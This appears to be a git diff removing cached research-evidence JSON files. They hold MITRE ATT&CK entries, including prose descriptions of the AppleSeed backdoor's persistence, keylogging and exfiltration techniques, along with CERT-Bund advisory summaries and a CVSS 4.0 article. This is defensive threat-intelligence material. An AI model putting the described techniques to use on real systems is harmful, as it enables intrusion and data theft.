ldapsearch, samba tools (e.g., 'wbinfo -u'), or winbindd lookups.\n\nAN0365\n\nDomain group and user enumeration via dscl or dscacheutil, or queries to directory services from non-admin endpoints.\n\nReferences\n\nCrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.\n\nBrian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.\n\nMcKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.\n\nGoody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.\n\nCybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.\n\nKamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.\n\nNikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.\n\nSherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.\n\nPantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.\n\nThe DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.\n\nMicrosoft Incident Response. (2023, July 6). The five-day job: A BlackByte ransomware intrusion case study. Retrieved December 16, 2024.\n\nMicrosoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.\n\nRed Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.\n\nMSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.\n\nCounter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.\n\nHarbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.\n\nKenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.\n\nCycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..\n\nJansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.\n\nDahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.\n\nbyt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020.\n\nUS-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.\n\nMicrosoft. (n.d.). Dsquery. Retrieved April 18, 2016.\n\nRufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.\n\nMike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.\n\nSchroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.\n\nSecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19\n\nTa, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.\n\nSygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANI", - "content_type": "text/html", - "query": "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?", - "language": "de-DE", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.6470588235294117, - "source_quality": "primary", - "source_quality_score": 0.8560000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-f8037740-1" - ], - "assessment_reason": "Die Quelle beschreibt die Technik T1087.002 (Domain Account) im Kontext von Cloud- und Domänenumgebungen, aber sie behandelt nicht direkt T1018 oder T1560.001. Sie bietet jedoch eine fachlich relevante Beschreibung der Anwendung von T1087.002 in Domänenumgebungen, was eine Teilabdeckung der Wissenslücke ist." - } -} diff --git a/data/research-evidence/303ea7e686a66f7b02cd690c.json b/data/research-evidence/303ea7e686a66f7b02cd690c.json deleted file mode 100644 index c080264..0000000 --- a/data/research-evidence/303ea7e686a66f7b02cd690c.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:30:11.792854Z", - "content_sha256": "8d997a9ce087ed29532b5c07e192b02590cae29c35346d2fed37d96ce4cfd2b7", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Schwachstelle ermöglicht Privilegieneskalation", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1771", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um seine Privilegien zu erhöhen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um seine Privilegien zu erhöhen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7313810797200231, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/32034cd16948d4e479972512.json b/data/research-evidence/32034cd16948d4e479972512.json deleted file mode 100644 index e340fb6..0000000 --- a/data/research-evidence/32034cd16948d4e479972512.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:55:06.9520709Z", - "content_sha256": "b1bd9679f182d18e474994e22f990246bfbfc3c0d73b5ecc72b5d7fa76fbd48a", - "result": { - "title": "[UPDATE] [niedrig] PowerDNS Authoritative Server: Schwachstelle ermöglicht Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2078", - "snippet": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in PowerDNS Authoritative Server ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in PowerDNS Authoritative Server ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6244400469455134, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/340fb785d261fc974b7e082b.json b/data/research-evidence/340fb785d261fc974b7e082b.json deleted file mode 100644 index b4dcd95..0000000 --- a/data/research-evidence/340fb785d261fc974b7e082b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:27:42.1550475Z", - "content_sha256": "ffe77d1fd450413a65b250fac25f93352a2c3eb9b1d5b1a945c544a52d837afe", - "result": { - "title": "[UPDATE] [mittel] GNU libc: Mehrere Schwachstellen ermöglichen Manipulation von DNS Antworten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0817", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um DNS Antworten zu manipulieren.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um DNS Antworten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6938830867762933, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/36ef6311b0982f5be52b1263.json b/data/research-evidence/36ef6311b0982f5be52b1263.json deleted file mode 100644 index bc8bff5..0000000 --- a/data/research-evidence/36ef6311b0982f5be52b1263.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:43:46.0105692Z", - "content_sha256": "32d8a8c869115ed0a97fe9b1d6b1608e5f6fdbe48b36c219037416a8e15b4893", - "result": { - "title": "[UPDATE] [hoch] Red Hat Enterprise Linux (urllib3): Mehrere Schwachstellen ermöglichen Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0207", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um einen Denial of Service Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6685889333815458, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/388d0ff0ef03ee6ad528c3d6.json b/data/research-evidence/388d0ff0ef03ee6ad528c3d6.json deleted file mode 100644 index 8b81b31..0000000 --- a/data/research-evidence/388d0ff0ef03ee6ad528c3d6.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:28:07.4928123Z", - "content_sha256": "71a8c7a4a703d4792d9830ea635d0b2718833db8a504614723c88f877013c1e1", - "result": { - "title": "[UPDATE] [hoch] PHP: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2598", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in PHP ausnutzen, um SQL-Injection durchzuführen, beliebigen Code auszuführen, Daten zu manipulieren oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in PHP ausnutzen, um SQL-Injection durchzuführen, beliebigen Code auszuführen, Daten zu manipulieren oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7408217000458435, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/399c14e3feabe40f250f40b5.json b/data/research-evidence/399c14e3feabe40f250f40b5.json deleted file mode 100644 index aa20556..0000000 --- a/data/research-evidence/399c14e3feabe40f250f40b5.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:39:10.7385316Z", - "content_sha256": "542bad92223ce33cf0f41952c4236e568948c739e56aaeb158548442df8fd4f9", - "result": { - "title": "[UPDATE] [mittel] Red Hat OpenShift Container Platform (fast-uri,OpenTelemetry-Go) : Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2334", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift Container Platform ausnutzen, um Sicherheitsvorkehrungen zu umgehen oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift Container Platform ausnutzen, um Sicherheitsvorkehrungen zu umgehen oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6830464683236337, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/3b461d3c9f2b7018bd55c774.json b/data/research-evidence/3b461d3c9f2b7018bd55c774.json deleted file mode 100644 index fc119b9..0000000 --- a/data/research-evidence/3b461d3c9f2b7018bd55c774.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:32:11.4382193Z", - "content_sha256": "6ed8b9e7ebb18cc78b32d5e63d82623e328c5958ff562d24a9794f69453b3f91", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0462", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux-Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux-Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.708651872077716, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/3be244dee05db1ea699e60c9.json b/data/research-evidence/3be244dee05db1ea699e60c9.json deleted file mode 100644 index a400655..0000000 --- a/data/research-evidence/3be244dee05db1ea699e60c9.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:56:05.8263Z", - "content_sha256": "fcaaf0c75f9286bba69491267d4d423666e9c1e850476f03004bb2de2da50a62", - "result": { - "title": "AppleSeed, Software S0622 | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/software/S0622/", - "snippet": "AppleSeed can gain system level privilege by passing SeDebugPrivilege to the AdjustTokenPrivilege API. [1] AppleSeed has the ability to communicate with C2 over HTTP. [1] [2] AppleSeed has compressed collected data before exfiltration. [2] AppleSeed can zip and encrypt data collected on a target system. [1]", - "content": "AppleSeed, Software S0622 | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nSoftware\n\nAppleSeed\n\nAppleSeed\n\nAppleSeed is a backdoor that has been used by Kimsuky to target South Korean government, academic, and commercial targets since at least 2021. [1]\n\nID: S0622\n\nType : MALWARE\n\nPlatforms : Windows, Android\n\nVersion : 1.1\n\nCreated: 10 June 2021\n\nLast Modified: 25 April 2025\n\nVersion Permalink\n\nLive Version\n\nATT\u0026CK ® Navigator Layers\n\nEnterprise Layer\n\ndownload\n\nview\n\nTechniques Used\n\nDomain\n\nID\n\nName\n\nUse\n\nEnterprise\n\nT1134\n\nAccess Token Manipulation\n\nAppleSeed can gain system level privilege by passing SeDebugPrivilege to the AdjustTokenPrivilege API. [1]\n\nEnterprise\n\nT1071\n\n.001\n\nApplication Layer Protocol : Web Protocols\n\nAppleSeed has the ability to communicate with C2 over HTTP. [1] [2]\n\nEnterprise\n\nT1560\n\nArchive Collected Data\n\nAppleSeed has compressed collected data before exfiltration. [2]\n\n.001\n\nArchive via Utility\n\nAppleSeed can zip and encrypt data collected on a target system. [1]\n\nEnterprise\n\nT1119\n\nAutomated Collection\n\nAppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration. [2]\n\nEnterprise\n\nT1547\n\n.001\n\nBoot or Logon Autostart Execution : Registry Run Keys / Startup Folder\n\nAppleSeed has the ability to create the Registry key name EstsoftAutoUpdate at HKCU\\Software\\Microsoft/Windows\\CurrentVersion\\RunOnce to establish persistence. [1]\n\nEnterprise\n\nT1059\n\n.001\n\nCommand and Scripting Interpreter : PowerShell\n\nAppleSeed has the ability to execute its payload via PowerShell. [1]\n\n.007\n\nCommand and Scripting Interpreter : JavaScript\n\nAppleSeed has the ability to use JavaScript to execute PowerShell. [1]\n\nEnterprise\n\nT1005\n\nData from Local System\n\nAppleSeed can collect data on a compromised host. [1] [2]\n\nEnterprise\n\nT1025\n\nData from Removable Media\n\nAppleSeed can find and collect data from removable media devices. [1] [2]\n\nEnterprise\n\nT1074\n\n.001\n\nData Staged : Local Data Staging\n\nAppleSeed can stage files in a central location prior to exfiltration. [1]\n\nEnterprise\n\nT1030\n\nData Transfer Size Limits\n\nAppleSeed has divided files if the size is 0x1000000 bytes or more. [2]\n\nEnterprise\n\nT1140\n\nDeobfuscate/Decode Files or Information\n\nAppleSeed can decode its payload prior to execution. [1]\n\nEnterprise\n\nT1041\n\nExfiltration Over C2 Channel\n\nAppleSeed can exfiltrate files via the C2 channel. [1]\n\nEnterprise\n\nT1567\n\nExfiltration Over Web Service\n\nAppleSeed has exfiltrated files using web services. [2]\n\nEnterprise\n\nT1008\n\nFallback Channels\n\nAppleSeed can use a second channel for C2 when the primary channel is in upload mode. [1]\n\nEnterprise\n\nT1083\n\nFile and Directory Discovery\n\nAppleSeed has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories. [1]\n\nEnterprise\n\nT1070\n\n.004\n\nIndicator Removal : File Deletion\n\nAppleSeed can delete files from a compromised host after they are exfiltrated. [1]\n\nEnterprise\n\nT1056\n\n.001\n\nInput Capture : Keylogging\n\nAppleSeed can use GetKeyState and GetKeyboardState to capture keystrokes on the victim’s machine. [1] [2]\n\nEnterprise\n\nT1036\n\nMasquerading\n\nAppleSeed can disguise JavaScript files as PDFs. [1]\n\n.005\n\nMatch Legitimate Resource Name or Location\n\nAppleSeed has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity. [1]\n\nEnterprise\n\nT1106\n\nNative API\n\nAppleSeed has the ability to use multiple dynamically resolved API calls. [1]\n\nEnterprise\n\nT1027\n\nObfuscated Files or Information\n\nAppleSeed has the ability to Base64 encode its payload and custom encrypt API calls. [1]\n\n.002\n\nSoftware Packing\n\nAppleSeed has used UPX packers for its payload DLL. [1]\n\nEnterprise\n\nT1566\n\n.001\n\nPhishing : Spearphishing Attachment\n\nAppleSeed has been distributed to victims through malicious e-mail attachments. [1]\n\nEnterprise\n\nT1057\n\nProcess Discovery\n\nAppleSeed can enumerate the current process on a compromised host. [1]\n\nEnterprise\n\nT1113\n\nScreen Capture\n\nAppleSeed can take screenshots on a compromised host by calling a series of APIs. [1] [2]\n\nEnterprise\n\nT1218\n\n.010\n\nSystem Binary Proxy Execution : Regsvr32\n\nAppleSeed can call regsvr32.exe for execution. [1]\n\nEnterprise\n\nT1082\n\nSystem Information Discovery\n\nAppleSeed can identify the OS version of a targeted system. [1]\n\nEnterprise\n\nT1016\n\nSystem Network Configuration Discovery\n\nAppleSeed can identify the IP of a targeted system. [1]\n\nEnterprise\n\nT1124\n\nSystem Time Discovery\n\nAppleSeed can pull a timestamp from the victim's machine. [1]\n\nEnterprise\n\nT1204\n\n.002\n\nUser Execution : Malicious File\n\nAppleSeed can achieve execution through users running malicious file attachments distributed via email. [1]\n\nGroups That Use This Software\n\nID\n\nName\n\nReferences\n\nG0094\n\nKimsuky\n\n[1] [2]\n\nReferences\n\nJazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.\n\nKISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.\n\nCore Objects: All\n\nCore ATT\u0026CK Objects\n\nAll\nNone\n\nMatrices\nTactics\nTechniques\nSub-Techniques\n\nDefenses: All\n\nDefenses\n\nAll\nNone\n\nMitigations\nAssets\nDetection Strategies\nAnalytics\nData Components\n\nCTI: All\n\nCTI\n\nAll\nNone\n\nGroups\nSoftware\nCampaigns\n\nReference: All\n\nReference\n\nAll\nNone\n\nResources\n\nDomains: All\n\nDomains\n\nAll\nNone\n\nEnterprise\nMobile\nICS\n\nReset filters", - "content_type": "text/html", - "query": "Wie können die TTPs von T1106 (Native API) bei der Analyse von Malware wie AppleSeed und Empire in der Praxis unterschieden werden?", - "language": "de-DE", - "round": 3, - "fetched": true, - "relevant": true, - "relevance": 0.5914285714285714, - "source_quality": "primary", - "source_quality_score": 0.7760000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-86eb8cf9-6" - ], - "assessment_reason": "Die Quelle beschreibt die Verwendung von T1106 (Native API) bei AppleSeed, aber sie bietet keine konkreten Schritte zur Unterscheidung von TTPs zwischen AppleSeed und Empire. Sie beschreibt nur die Anwendung von T1106 bei AppleSeed, ohne direkte Vergleiche oder Unterschiede zu Empire." - } -} diff --git a/data/research-evidence/3d73d30f82c1645ec426782f.json b/data/research-evidence/3d73d30f82c1645ec426782f.json deleted file mode 100644 index a1ffeb7..0000000 --- a/data/research-evidence/3d73d30f82c1645ec426782f.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:35:41.1423675Z", - "content_sha256": "0d078b02b2d2857348b0fa6bf061e26789d33e43954b7c3c4a5d2cb5d74c2057", - "result": { - "title": "[UPDATE] [mittel] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1437", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6987975223628944, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/3f70fb4cb30ccdf267c1571b.json b/data/research-evidence/3f70fb4cb30ccdf267c1571b.json deleted file mode 100644 index 6339b70..0000000 --- a/data/research-evidence/3f70fb4cb30ccdf267c1571b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:38:07.0821703Z", - "content_sha256": "937b3c88be720ebdf9bb24adeceb63d917c4a69ab394ee846cd703ddf8a939b5", - "result": { - "title": "[UPDATE] [mittel] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0129", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen Denial of Service Angriff durchzuführen, beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen Denial of Service Angriff durchzuführen, beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder vertrauliche Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6898551184286656, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/414ba2f5329585beba892db3.json b/data/research-evidence/414ba2f5329585beba892db3.json deleted file mode 100644 index 38b5c95..0000000 --- a/data/research-evidence/414ba2f5329585beba892db3.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T22:11:17.4640409Z", - "content_sha256": "0dcfb48211cd22ff7abb4799cd3f281a1f19fbd7ffcf0808b6c4234905b9861e", - "result": { - "title": "CVSS 4.0: Ein Game-Changer im risikobasierten Schwachstellenmanagement", - "url": "https://de.linkedin.com/pulse/cvss-40-game-changer-risk-based-vulnerability-juan-pablo-castro-kflsc?tl=de", - "snippet": "CVSS 4.0 mit seinen detaillierten und nuancierten Metriken spielt dabei eine entscheidende Rolle. Die Fähigkeit, granulare Schwachstellenbewertungen bereitzustellen, hilft Unternehmen, den...", - "content": "Dieser Artikel wurde automatisch maschinell aus dem Englischen übersetzt und kann Ungenauigkeiten enthalten.\n\nMehr erfahren\n\nOriginal anzeigen\n\nDa Cyberrisiken zunehmend zu einem integralen Bestandteil des Kerngeschäftsrisikos werden und über die traditionelle Sichtweise als rein technologisches Problem hinausgehen, erweist sich die Einführung von CVSS 4.0 als zentrales Instrument zur Neudefinition und effektiven Bewältigung dieser sich entwickelnden Bedrohungen und markiert auch einen bedeutenden Meilenstein im Bereich der Cybersicherheit. Diese neue Version ist nicht nur ein Update; Es handelt sich um eine umfassende Überarbeitung, die darauf abzielt, sich stärker an das risikobasierte Schwachstellenmanagement anzupassen. Für Fachleute und Organisationen, die in der sich schnell entwickelnden Cyber-Landschaft die Nase vorn haben wollen, ist das Verständnis und die Nutzung von CVSS 4.0 von entscheidender Bedeutung.\n\nDie Evolution zu CVSS 4.0\n\nCVSS 4.0 , das am 1. November 2023 veröffentlicht wurde, ist nicht nur ein Update; Es handelt sich um eine umfassende Überarbeitung, die darauf ausgelegt ist, die Komplexität der heutigen Herausforderungen der Cybersicherheit zu bewältigen. Diese neue Version führt einen nuancierten Ansatz zur Bewertung von Schwachstellen ein, mit wichtigen Verbesserungen, darunter:\n\nFeinere Granularität und mehrere Exploit-Vektoren: Bietet eine detailliertere Analyse von Schwachstellen.\n\nNeue Environmental Metrics Group: Gerecht für die einzigartigen Herausforderungen in IoT/OT/ICS-Umgebungen.\n\nNeue Nomenklatur und ergänzende Metrikgruppe: Bereitstellung zusätzlicher Kontextinformationen für eine bessere Genauigkeit.\n\nAusrichtung auf risikobasiertes Schwachstellenmanagement\n\nBeim risikobasierten Schwachstellenmanagement geht es darum, die Sicherheitsbemühungen auf der Grundlage der potenziellen Auswirkungen und der Wahrscheinlichkeit von Schwachstellen zu priorisieren. Die Updates von CVSS 4.0 passen perfekt zu diesem Ansatz:\n\nDetaillierte Schwachstellenbewertung: Die verfeinerten Metriken ermöglichen eine genauere Bewertung jeder Schwachstelle unter Berücksichtigung des spezifischen Kontexts eines Unternehmens.\n\nPriorisierung von Bedrohungen: Mit einer verbesserten Granularität können Unternehmen Schwachstellen besser priorisieren und sich auf diejenigen konzentrieren, die das größte Risiko darstellen.\n\nEmpfohlen von LinkedIn\n\n🛡️ Integration des NIST-Cybersicherheitsrahmens mit…\n\nCodeGuardian.ai\n\nVor 2 Jahren\n\nCyber-Risiko-Bewertungsalgorithmen: Ein mehrfaktoriger…\n\nCypherleak\n\nVor 3 Jahren\n\nWarum Nagetierbekämpfung und Cybersicherheit wirklich…\n\nTony Vizza\n\nVor 1 Jahr\n\nFütterung des CCRSS\n\nDas Kontinuierliches System zur Bewertung von Cyber-Risiken (CCRSS) profitiert immens von CVSS 4.0. Das aktualisierte Bewertungssystem fließt in CCRSS ein und bietet einen dynamischeren und reaktionsschnelleren Ansatz für das Management von Cybersicherheitsrisiken.\n\nVerbesserte Risikobewertung: Die Integration neuer Metriken wie Attack Requirement und verfeinerte User Interaction Metriken in CVSS 4.0 tragen zu einem ausgefeilteren CCRSS bei.\n\nBessere Ressourcenallokation: Durch die genaue Bewertung von Risiken können Unternehmen Ressourcen effektiver zuweisen und sicherstellen, dass kritische Schwachstellen umgehend behoben werden.\n\nIntegration von CVSS 4.0 in den Cyber Risk Management Lifecycle\n\nEs liegt auf der Hand, dass die Einführung von CVSS 4.0 den Lebenszyklus des Cyber-Risikomanagements deutlich verbessert. Schauen wir uns an, wie CVSS 4.0 in jede Phase dieses Lebenszyklus passt:\n\nIdentifizierung von Cyber-Risiken: In der ersten Phase geht es um die Identifizierung potenzieller Cybersicherheitsbedrohungen und Schwachstellen. CVSS 4.0 mit seinen detaillierten und nuancierten Metriken spielt dabei eine entscheidende Rolle. Die Fähigkeit, granulare Schwachstellenbewertungen bereitzustellen, hilft Unternehmen, den Schweregrad und die Art potenzieller Risiken genauer zu identifizieren und zu verstehen.\n\nBewertung und Analyse: Nach der Identifizierung ist der nächste Schritt die Bewertung und Analyse der identifizierten Risiken. CVSS 4.0 trägt zu einem detaillierteren Risikoanalyseprozess bei. Die erweiterten Metriken des Systems, wie z. B. Angriffsanforderung und verfeinerte Benutzerinteraktion, ermöglichen ein tieferes Verständnis dafür, wie eine Schwachstelle ausgenutzt werden kann und welche potenziellen Auswirkungen sie hat.\n\nPriorisierung und Entscheidungsfindung: CVSS 4.0 unterstützt diese kritische Phase direkt. Die umfassende Bewertungsmethodik des Systems ermöglicht es Unternehmen, Schwachstellen basierend auf ihrem Schweregrad und dem spezifischen Kontext ihrer Umgebung zu priorisieren. Diese Priorisierung ist entscheidend für eine effektive Ressourcenallokation und strategische Planung im Bereich der Cybersicherheit.\n\nEindämmung und Prävention: Die Implementierung von Sicherheitsmaßnahmen zur Minderung identifizierter Risiken ist eine Schlüsselkomponente des Lebenszyklus. Hier helfen die detaillierten Erkenntnisse von CVSS 4.0 dabei, gezielte Mitigationsstrategien zu entwickeln, die auf die spezifische Art und den Schweregrad der Schwachstellen abgestimmt sind.\n\nÜberwachung und Überprüfung: Kontinuierliche Überwachung und regelmäßige Überprüfungen sind unerlässlich, um sich an neue Bedrohungen und Veränderungen in der Unternehmensumgebung anzupassen. Die Dynamik von CVSS 4.0 stellt sicher, dass die Schwachstellenbewertungen relevant und genau bleiben, was bei der kontinuierlichen Bewertung und Anpassung von Cybersicherheitsstrategien hilft.\n\nKommunikation und Berichterstattung: Eine effektive Kommunikation im gesamten Unternehmen über die Cyberrisiken und die ergriffenen 